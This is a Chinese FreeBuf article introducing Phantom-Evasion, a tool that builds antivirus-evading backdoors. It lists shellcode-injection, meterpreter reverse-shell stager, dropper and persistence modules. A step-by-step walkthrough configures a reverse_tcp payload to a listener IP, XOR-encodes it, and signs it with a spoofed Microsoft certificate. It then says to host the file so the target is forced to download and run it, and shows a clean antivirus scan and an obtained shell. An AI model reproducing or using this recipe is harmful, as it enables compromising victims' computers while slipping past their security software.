freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Phantom-Evasion:可以生成绕过大多数反病毒软件的后门程序
2019-01-02 08:30:08

描述

Phantom-Evasion是一个用python编写的交互式防病毒逃避工具,即使使用最常见的32位msfvenom有效负载(64位有效负载的较低检测率),也能生成(几乎)FUD可执行文件。该工具的目的是通过使用专注于多态代码和防病毒沙箱检测技术的模块,使得防病毒逃避成为测试者的一项简单任务。从版本1.0开始,Phantom-Evasion还包括一个专门用于持久性和辅助模块的后期开发部分。

安装/使用

git clone https://github.com/oddcod3/Phantom-Evasion

cd Phantom-Evasion

sudo python phantom-evasion.py

也可以进行源码安装

sudo chmod +x ./phantom-evasion.py

sudo ./phantom-evasion.py

Screenshot at 2018-12-21 23-48-42.png

WINDOWS PAYLOADS

Windows Shellcode注入模块(C)支持Msfvenom Windows有效负载和自定义shellcode(>)随机垃圾码和Windows防病毒逃避技术(>)提供多字节Xor编码器(参见Multibyte Xor编码器自述文件部分)(>)Decoy Processes Spawner可用(参见Decoy Process Spawner部分)(>)剥离可执行文件(https://en.wikipedia.org/wiki/Strip_(Unix))(>)执行时间范围:35-60秒

Windows Shellcode Injection VirtualAlloc:使用VirtualAlloc,CreateThread,WaitForSingleObject API在内存中注入和执行shellcode。

Windows Shellcode Injection VirtualAlloc NoDirectCall LL / GPA:使用VirtualAlloc,CreateThread,WaitForSingleObject API在内存中注入和执行shellcode。使用LoadLibrary和GetProcAddress API对关键API进行动态加载(无直接调用)。 

Windows Shellcode Injection VirtualAlloc NoDirectCall GPA / GMH:使用VirtualAlloc,CreateThread,WaitForSingleObject API在内存中注入和执行shellcode。使用GetModuleHandle和GetProcAddress API对关键API进行动态加载(无直接调用)。

 Windows Shellcode Injection HeapAlloc:使用HeapAlloc,HeapCreate,CreateThread,WaitForSingleObject API在内存中注入和执行shellcode。 

Windows Shellcode Injection HeapAlloc NoDirectCall LL / GPA:使用HeapCreate,HeapAlloc,CreateThread,WaitForSingleObject API在内存中注入和执行shellcode。使用LoadLibrary和GetProcAddress API对关键API进行动态加载(无直接调用)。 

Windows Shellcode Injection HeapAlloc NoDirectCall GPA / GMH:使用HeapCreate,HeapAlloc,CreateThread,WaitForSingleObject API在内存中注入和执行shellcode。使用GetModuleHandle和GetProcAddress API对关键API进行动态加载(无直接调用)。 

Windows Shellcode Injection Process注入:使用VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject API将shellcode注入和执行到远程进程内存(默认:OneDrive.exe(x86),explorer.exe(x64))。 

Windows Shellcode注入流程注入NoDirectCall LL / GPA:使用VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject API将shellcode注入和执行到远程进程内存(默认:OneDrive.exe(x86),explorer.exe(x64))。使用LoadLibrary和GetProcAddress API对关键API进行动态加载(无直接调用)。 

Windows Shellcode注入流程注入NoDirectCall GPA / GMH:使用VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject API将shellcode注入和执行到远程进程内存(默认:OneDrive.exe(x86),explorer.exe(x64))。使用GetModuleHandle和GetProcAddress API对关键API进行动态加载(无直接调用)。 

Windows Shellcode注入线程劫持:将shellcode注入远程进程内存并执行它,使用VirtualAllocEx,WriteProcessMemory,Get / SetThreadContext,Suspend / ResumeThread API执行线程执行劫持(默认:OneDrive.exe(x86),explorer.exe(x64))。 

Windows Shellcode注入线程劫持LL / GPA:将shellcode注入远程进程内存并执行它,使用VirtualAllocEx,WriteProcessMemory,Get / SetThreadContext,Suspend /执行线程执行劫持(默认:OneDrive.exe(x86),explorer.exe(x64)) ResumeThread API。使用LoadLibrary和GetProcAddress API对关键API进行动态加载(无直接调用)。

 Windows Shellcode注入线程劫持GPA / GMH:将shellcode注入远程进程内存并执行它,使用VirtualAllocEx,WriteProcessMemory,Get / SetThreadContext,Suspend /执行线程执行劫持(默认:OneDrive.exe(x86),explorer.exe(x64)) ResumeThread API。使用GetModuleHandle和GetProcAddress API对关键API进行动态加载(无直接调用)。

Windows Pure C meterpreter stager

纯C多态仪表预测器与msfconsole和钴触发信标兼容。(reverse_tcp / reversehttp)(>)随机垃圾代码和Windows防病毒逃避技术(>)幻影逃避诱饵程序产生可用(参见幻影逃避诱饵程序产生部分)(>)剥离可执行程序可用(<a href="https://en.wikipedia.org/wiki/Strip" rel="nofollow"> https://en.wikipedia.org/wiki/Strip_(Unix) ))(>)执行时间范围:35-60秒

C meterpreter / reverse_TCP VirtualAlloc(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_tcp多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_tcp(如果是x86) - windows / x64 / meterpreter / reverse_tcp(如果是x64),内存:虚拟)

C meterpreter / reverse_TCP HeapAlloc(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_tcp多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_tcp(如果是x86) - windows / x64 / meterpreter / reverse_tcp(如果是x64),内存:堆)

C meterpreter / reverse_TCP VirtualAlloc NoDirectCall GPAGMH(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_tcp多态stager(rrequire multi / handler listener,有效负载设置为windows / meterpreter / reverse_tcp(如果是x86) - windows / x64 / meterpreter / reverse_tcp(如果是x64),内存:虚拟,在运行时加载的API)

C meterpreter / reverse_TCP HeapAlloc NoDirectCall GPAGMH(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_tcp多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_tcp(如果是x86) - windows / x64 / meterpreter / reverse_tcp(如果是x64),内存:堆,运行时加载的API)

C meterpreter / reverse_HTTP VirtualAlloc(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_http多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_http(如果是x86) - windows / x64 / meterpreter / reverse_http(如果是x64),内存:虚拟)

C meterpreter / reverse_HTTP HeapAlloc(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_http多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_http(如果是x86) - windows / x64 / meterpreter / reverse_http(如果是x64),内存:堆)

C meterpreter / reverse_HTTP VirtualAlloc NoDirectCall GPAGMH(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_http多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_http(如果是x86) - windows / x64 / meterpreter / reverse_http(如果是x64),在运行时加载的API)

C meterpreter / reverse_HTTP HeapAlloc NoDirectCall GPAGMH(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_http多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_http(如果是x86) - windows / x64 / meterpreter / reverse_http(如果是x64),内存:堆,运行时加载的API)

C meterpreter / reverse_HTTPS VirtualAlloc(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_http多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_https(如果是x86) - windows / x64 / meterpreter / reverse_https(如果是x64),内存:虚拟)

C meterpreter / reverse_HTTPS HeapAlloc(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_http多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_https(如果是x86) - windows / x64 / meterpreter / reverse_https(如果是x64),内存:堆)

C meterpreter / reverse_HTTPS VirtualAlloc NoDirectCall GPAGMH(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_http多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_https(如果是x86) - windows / x64 / meterpreter / reverse_https(如果是x64),在运行时加载的API)

C meterpreter / reverse_HTTPS HeapAlloc NoDirectCall GPAGMH(x86 / x64):用c编写的32/64位windows / meterpreter / reverse_http多态stager(需要多个/处理程序监听器,有效负载设置为windows / meterpreter / reverse_https(如果是x86) - windows / x64 / meterpreter / reverse_https(如果是x64),内存:堆,运行时加载的API)

Powershell / Wine-Pyinstaller模块

Powershell模块:(>)随机垃圾代码和Windows防病毒规避技术(>)诱骗程序Spawner可用(参见幻影逃避诱饵程序产生部分)(>)条带可执行程序可用(https://en.wikipedia.org/wiki/Strip_(Unix)) (>)执行时间范围:35-60秒

Windows Powershell / Cmd Oneliner Dropper:需要用户提供的Powershell / Cmd oneliner有效负载(例如Empire oneliner有效负载)。生成用c编写的Windows powershell / Cmd oneliner dropper。Powershell / Cmd oneliner有效负载使用system()函数执行。

Windows Powershell Script Dropper:支持msfvenom和自定义PowerShell有效负载。(32位powershell有效负载与64位PowerShell目标不兼容,反之亦然。)生成用c编写的Windows powershell脚本(.ps1)dropper。Powershell脚本有效负载使用system()函数执行(powershell -executionpolicy bypass -WindowStyle Hidden -Noexit -File“PathTops1script”)。

Wine-Pyinstaller模块:

(>)随机垃圾代码和Windows防病毒规避技术(>)执行时间范围:5-25秒(>)要求在wine中安装python和pyinstaller。

Windows WinePyinstaller Python Meterpreter

纯python meterpreter有效载荷。 

WinePyinstaller Oneline有效负载滴管

纯python powershell / cmd oneliner滴管。

使用os.system()执行Powershell / cmd有效负载。

LINUX PAYLOADS

Linux Shellcode注入模块(C)支持Msfvenom linux有效负载和自定义shellcode。(>)随机化垃圾码和C防病毒规避技术(>)多字节Xor编码器可用(参见Multibyte Xor编码器自述文件部分)(>)可执行条带可执行文件(https://en.wikipedia.org/wiki/Strip_ ( Unix))( >)执行时间范围:20-45秒

Linux Shellcode Injection HeapAlloc:使用mmap和memcpy在内存中注入和执行shellcode。

Linux Bash Oneliner Dropper:使用system()函数执行自定义oneliner有效负载。

OSX PAYLOADS

OSX 32位多编码:纯msfvenom多编码OSX有效负载。

ANDROID PAYLOADS

Android Msfvenom Apk smali / baksmali:(>)假循环注入(>)转到循环

Android msfvenom有效负载修改了与apktool重建(也能够apk后门注入)。

通用PAYLOADS

生成与用于运行Phantom-Evasion的操作系统兼容的可执行文件。

Universal Meterpreter increments-trick
Universal Polymorphic Meterpreter
Universal Polymorphic Oneliner dropper

POST-EXPLOITATION模块

1.Windows持久性RegCreateKeyExW添加注册表项(C)此模块生成可执行文件,需要将其上载到目标计算机并执行指定文件的完整路径以作为参数添加到启动。

2.Windows Persistence REG添加注册表项(CMD)此模块生成持久性cmdline有效内容(通过REG.exe添加注册表项)。

3.Windows持久性保持进程活动此模块生成可执行文件,需要将其上载到目标计算机并执行。使用CreateToolSnapshoot ProcessFirst和ProcessNext检查指定的进程是否每隔X秒活动一次。有用的结合Persistence N.1或N.2(持久性启动Keep进程活动文件,然后启动并保持指定的进程)

4.Windows Persistence Schtasks cmdline

此模块生成持久性cmdline有效负载(使用Schtasks.exe)。

5.Windows设置文件属性隐藏

通过命令行或已编译的可执行文件隐藏文件(SetFileAttributes API)

如何利用?

###  进入Phantom-Evasion,如下选择

[1]  Windows modules-->[1]  Shellcode Injection-->[4]  Windows Shellcode Injection HeapAlloc(C)-->[1] Msfvenom

我们输入msfvenom有效载荷

windows/meterpreter/reverse_tcp

输入LHOST和LPORT

LHOST:192.168.34.133
LPORT:4444

自定义msfvenom选项,我们不填直接回车

编码方式,我们选择[4] x86/xor_dynamic + Triple Multibyte-key xor      (excellent)

输入生成程序的名,是否添加多进程选择‘是’,输入进程数‘1’,

[<Payload>] choose how to supply shellcode:
[1] Msfvenom
[2] Custom shellcode
[0] Back
[>] Please insert option: 1
[>] Please enter msfvenom payload (example: windows/meterpreter/reverse_tcp):windows/meterpreter/reverse_tcp
[>] Please insert LHOST: 192.168.34.133
[>] Please insert LPORT: 4444
[>] Custom msfvenom options(default: blank): 
[>] Encoding step:
[1] x86/xor_dynamic                                   (average)
[2] x86/xor_dynamic + Multibyte-key xor                  (good)
[3] x86/xor_dynamic + Double Multibyte-key xor      (excellent)
[4] x86/xor_dynamic + Triple Multibyte-key xor      (excellent)
[>] Please enter options number: 4
[>] Enter output filename: test
[>] Spawn Multiple Processes:
During target-side execution this will cause to spawn a maximum of 4 processes
consequentialy.
Only the last spawned process will reach the malicious section of code
while the other decoy processes spawned before will executes only random junk code
[>] Add multiple processes behaviour?(y/n): y
[>] Insert number of decoy processes (integer between 1-3): 1
[>] Generating code...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/xor_dynamic
x86/xor_dynamic succeeded with size 387 (iteration=0)
x86/xor_dynamic chosen with final size 387
Payload size: 387 bytes
Final size of c file: 1650 bytes
[>] Triple-key Xor multibyte encoding...
[Building xor-key (lenght:35]: \xa2\x3b\xa4\x97\x37\x3b\x30\x43\xba\xe3\x70\x6a\x54\xa9\xbe\xa0\x36\x97\xd9\xcc\x81\xc2\x77\x3d\x78\x5c\xaf\xd2\xa4\x82\x95\x2b\xde\x2a\x76
[>] Compiling...
[>] Strip 
strip is a GNU utility to "strip" symbols from object files.
This is useful for minimizing their file size, streamlining them for distribution.
It can also be useful for making it more difficult to reverse-engineer the compiled code.
(Lower rate of detection)
[>] Strip executable? (y/n):y
[>] Stripping...
[>] Sign Executable 
Online Certificate spoofer & Executabe signer (Lower rate of detection)
[>] Sign executable? (y/n):y
[>] Insert certificate spoofing target (default: www.microsoft.com:443): 
|DNS-request| www.microsoft.com 
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response| www.microsoft.com is 2.22.93.15
|S-chain|-<>-127.0.0.1:1080-<><>-2.22.93.15:443-<><>-OK
[>] Insert sign software description (default: Notepad Benchmark Util): 
[>] Signing test.exe with osslsigncode...
[>] Succeeded
[<>] File saved in Phantom-Evasion folder
[>] Press Enter to continue

生成代码之后将会输出到Phantom-Evasion目录下

将生成的后门程序,放在apache下,迫使目标下载并执行

我们用360进行安全查杀

360木马查杀扫描日志
开始时间: 2018-12-22 00:13:46
扫描用时: 00:00:03
扫描类型: 自定义扫描
扫描引擎:360云查杀引擎(本地木马库)  360启发式引擎  QEX脚本查杀引擎 
扫描文件数: 2
系统关键位置文件: 0
系统内存运行模块: 0
压缩包文件: 0
安全的文件数: 2
发现安全威胁: 0
已处理安全威胁: 0
扫描选项
扫描后自动关机: 否
扫描模式: 速度最快
管理员:是
扫描内容
\\vmware-host\Shared Folders\桌面\test.exe
白名单设置
带推广标记的网址导航图标 
扫描结果
未发现安全威胁

我们拿到virustotal扫一下,23333

QQ20181222-002414.jpg

后门程序生效后,成功建立会话,拿到shel权限
Screenshot at 2018-12-22 00-25-01.png

QQ20181222-002556.png

项目地址

https://github.com/oddcod3/Phantom-Evasion

*本文作者:不分手的恋爱,转载请注明来自FreeBuf.COM

# 后门 # 反病毒 # Phantom-Evasion
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者